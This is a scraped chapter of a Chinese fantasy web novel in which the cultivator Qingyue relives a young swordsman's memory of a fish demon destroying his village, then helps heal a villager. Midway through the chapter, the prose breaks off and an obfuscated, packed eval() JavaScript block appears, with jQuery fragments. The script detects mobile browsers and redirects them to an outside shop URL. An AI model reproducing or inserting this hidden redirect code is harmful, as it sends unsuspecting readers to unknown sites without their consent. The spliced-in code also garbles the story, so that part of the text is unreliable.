文趣网 > 玄幻小说 > 染淤泥:白月光黑化中 > 11. 梦碎
    “跑——”

    话还没说完,水中骤然掀起巨浪,一只浑身鳞甲的鱼妖窜了出来。腥风扑面,鱼妖浑浊的黄眼死死盯着他们,直直扑来。

    卿月立即推开小孩,侧身挡住鱼妖的攻击。

    可她如今不过是普通的燕家阿姐,哪有抵御之力,肩头被鱼妖撕出一个巨大的口子,鲜血不断外涌。

    小孩被眼前的景象吓得瘫坐在水里,连哭也忘了。

    卿月只得忍着肩头的剧痛,抱起小孩逃跑。

    她很清楚,作为一个重伤的普通人,她逃不掉也活不了,可是小孩不一样,他还没成为仙盟弟子呢。

    她又忘了,这只不过是一场幻梦,她也从来不是燕家阿姐,她是卿月。可她还是拼命地抱着小孩跑,忘了肩头的剧痛。

    “呃——”

    尖锐的鱼鳍穿透了她的胸口。

    好疼好疼。

    她挣扎着偏头看向小孩,又用最后的力气推开他,转身死死抱住鱼妖,拖住它追赶小孩的举动。

    鱼妖生怒,拧转鱼鳍,搅动她已被刺穿的胸腔,止住她未尽的话语。

    “……燕溪……快逃……”

    被推开的燕溪浑身发抖,攥着拳头冲过来,想要为阿姐报仇,却突然被人抱起。

    “快跑啊,傻孩子!”

    意识自燕家阿姐的身体抽离,卿月无力地旁观着这一切。

    从山上赶回家吃饭的张叔看见跑向鱼妖的燕溪,扔掉锄头抱着他跑向远离水源的地方。

    可惜,整个村子都为水源环绕,没跑多远,他也命丧鱼妖之手。

    燕溪瞪着惊恐而又痛苦的眼睛,哭着逃跑。

    鱼妖闯入村子,被奔逃的村民吸引住了目光,没再穷追燕溪。

    村子里早已骚乱,离得最远的村西农户也四散奔逃。住在最西边的燕家父母听闻水中鱼妖作祟,挂念捉鱼的儿女,逆着人流跑来,也双双死于鱼妖之手。

    等修士赶来的时候,除了燕溪和村西的几户人口,全村已无活人。

    “仙长,我想修行,我想除妖!”

    修士离开的时候,燕溪突然跑出来,死死地抱住他的腿恳求。

    为首的修士看出他有几分天资,便将他带走了。

    天下,从此多了一个四处除妖的修士。

    卿月的神识缓缓沉坠。

    再睁开眼,眼前又是那株光秃秃的古树。山风穿谷,瘴气沉沉。

    她俯身,抓住燕溪的肩膀,用力摇晃。

    “燕溪!燕溪——”

    声音里还带着燕家阿姐的悲恸。

    “阿姐……?”

    燕溪的眼皮动了动,缓缓睁开。他怔怔地望着卿月,像是还困在梦里。

    而后,他低下头,声音哑了下去:

    “……是前辈啊。”

    “叫我卿月就好。”

    沉默片刻。他撑地坐起,抱剑行礼,动作已恢复了仙门弟子的规矩:“晚生云归,天衍宗无情道剑修。多谢前辈救命之恩。”

    “云归?”

    “人生各有厄会,改名可延年度厄。”说这话时,他的声音突然又变得低沉,像是想起了往事,“当年拜入师门,师父为我们这些遭过大难的弟子都赐了新名。如今……燕溪这个名字,也无人再唤了……”

    卿月看着他,忽而想起温瑜。他也提过,家人皆因妖物作乱而死,提剑是为止杀。

    “这样的人……多吗?”

    她小心翼翼地问。

    燕溪抬头,幽谷的迷雾遮蔽了天光,卿月看不清他的神情。

    “遍地都是。”他自嘲地笑了笑,“如今拜入仙盟的弟子,谁不是家破人亡,想要练得一身本事除妖止祸?就说同我一道拜入师门的小师弟景熙,你在山下遇到他的可能,可比在师门大多了。这次他伤得重,才不得不待在门里。我来这寻灵药,也是想给他养伤。”

    “我身上还带了些从昆仑域寻得的天材地宝,你带回去给你的师弟吧。”

    卿月从珍藏的药袋中倒出许多天材地宝。普通人用不了这些,因而她也未曾送出。

    “天材地宝本就罕见,能寻得都是机遇,卿月前辈万万不可。”

    云归连连推诿。

    “救人要紧。东西还可以再寻。”

    “怎么,把我这儿当成茶馆了?要啰嗦出去啰嗦,别杵在我这儿。”

    树灵已开始赶人。

    卿月带着云归从重重迷瘴中走出。路上,她听见他喃喃道:

    “……其实,那天想去捉鱼的……是我。”

    望着持剑离开的卿月背影,树灵长叹一声:

    “让她入那小子的梦,也不知是福是祸啊……”

    回去的路上,云归见卿月心绪欠佳,便试探着问:

    “……卿月前辈可是在怪我们对那些妖物赶尽杀绝?”

    他说的是城南码头的妖物,今晨他也在那群仙盟弟子中,是出手的剑修之一。

    “谈不上怪罪,只是见了那场面,终究有些不忍罢了。”

    卿月摇摇头。

    “其实一开始我也会这样。可是……没办法啊,放过它们,它们终究还是会再害人的,我们也不一定每次都能及时赶到……”

    卿月点点头,垂下眼睛,不再说话。

    回去的路上,二人一言不发。

    待回到桑榆城城内时,已是日暮时分。

    这一次,她也无心驻足抬头,看一看城门上的万丈霞光了。

    和云归辞别后,卿月又来到城南的老妇家,将灵药交给她,又细细交代了煎服熬煮之法。老妇通红着眼睛,千恩万谢,执意要留她用饭。

    “不必了。阿婆不必留我,安心照顾令郎。”

    卿月轻轻将手从老妇掌心抽离,转身正要离开,却见云归拽着一个仙盟弟子走上前来。

    见卿月看向自己,云归挠了挠头,心虚地笑了笑,生怕卿月怪罪他贸然前来,又转身看向老妇。

    “阿婆,我这师弟是个药修。我听卿月前辈说过令郎,要不让我这师弟看看?”

    老妇双腿一弯,竟激动得当即就要跪下。

    卿月连忙将她扶住,引着云归等人进去。

    药修查看过病人的伤势,又细细问了这几日的用药,转头对老妇说:

    “好在你们保住了他的命,他自己又曾摸索过修行之道,体内有一丝微薄内息。我再开几副固元的方子,配着前辈的灵药按时吞服,十日内能醒来。”

    老妇喜极而泣,连连向众人道谢。

    得知病人无碍,屋内一片喜悦之色,卿月却看见了药修眉间隐隐透出的郁色。

    “当心些!”

    眼看着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494364|202399||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    药修就要踩着门口的碎石摔到,卿月连忙出声提醒。

    “你这小子怎么回事,走路都不长眼睛,想什么呢?”

    云归见他险些摔到,拍着药修的肩问。

    “没什么……”药修迟疑了一会,还是说出了自己的疑虑,“云归师兄,你不觉得近日妖物出现得也太频繁了吗?”

    卿月神色微动,看了一眼那个药修。他年轻稚嫩,眉眼间还带着几分未脱的少年青涩,说话时声音不大,但又像是字斟句酌过每一个字。她没出声,放慢脚步,静静听着。

    “是有些。不过飞廊结界松动,神女又已降世,妖域的妖物溜过结界趁机闹事、挑衅天谶神女,也不是不可能……”

    云归又拍了拍药修的肩,掌心落下去的力道不轻不重,像是在安慰邻家小孩。他咧嘴一笑,露出少年人特有的、不以为意的神气道:

    “你还是个小孩,想那么多干什么,那些事自有盟主和长老忧虑。咱俩啊,一个好好除妖,一个好好救人就是了。”

    药修张了张嘴,正想说什么反驳,迎面走来一位更夫,敲更之后又到他身旁点亮街边灯笼。

    药修望着更夫,生生止住了话。云归搂住药修的肩膀,转身看向卿月。

    “对了,明日我们要出城搜捕妖物,前辈你来帮忙吗?”

    云归双目奕奕地看向卿月,眉梢眼角都带着藏不住的期冀。他搂着药修的手收紧了些,像是生怕卿月拒绝。

    卿月站在昏黄的灯笼下,摇曳的烛火将她的影子拉长。她看着云归那张藏不住得意之色的少年脸庞,已能猜出,这个莽撞少年急着邀她,多半是想跟同门炫耀自己结识了这样一位大能前辈。

    卿月无奈叹息。

    “你不去给你的师弟送药吗?”

    “这不我刚准备去就遇到许翊师兄了吗?”云归挠了挠头,本就咧起的嘴笑得更开了,”他正好要回山,我就托他帮我带回去了。”

    “你们和许翊很熟?”

    卿月又想起了那个散漫的仙盟弟子。

    “卿月前辈认识许翊师兄?”

    “几面之缘罢了。”

    “哦,我跟师兄也不太熟。”

    云归松开药修,转过身来,面对着卿月,眼神澄澈,带着崇敬。

    ”他很少待在山门,平日里四处云游结交各路人士,性子虽然散漫,但人是极好的。他虽不认识景熙师弟,但听说景熙受伤,也二话不说帮忙送药。”

    “对了,前辈还没回我,明日去除妖吗?”

    云归又追问了一句,语气比之前更轻,却更认真。

    卿月问他送药本就是想绕开这个问题,怎料绕来绕去倒又绕回来了。

    她本欲拒绝,转身就走。可转念一想出城捕妖本就危险,他这般莽莽撞撞的性子,她也实在放不下心,不由得脚步微顿。况且,其他修士的命也是命,她无法坐视妖物伤人。

    “传音符唤我。”

    她转身离开,空留这句话在街巷回荡。

    云归望着她离去的身影,竭力压低声音,语中是藏不住的雀跃:

    “听见没?前辈答应了!”

    药修轻轻“嗯”了一声,语气里听不出是喜是忧。

    云归不知道,卿月也听到了他压低的欢呼之声,恍惚间那个燕家小孩好像又回来了。她不禁摇头轻笑。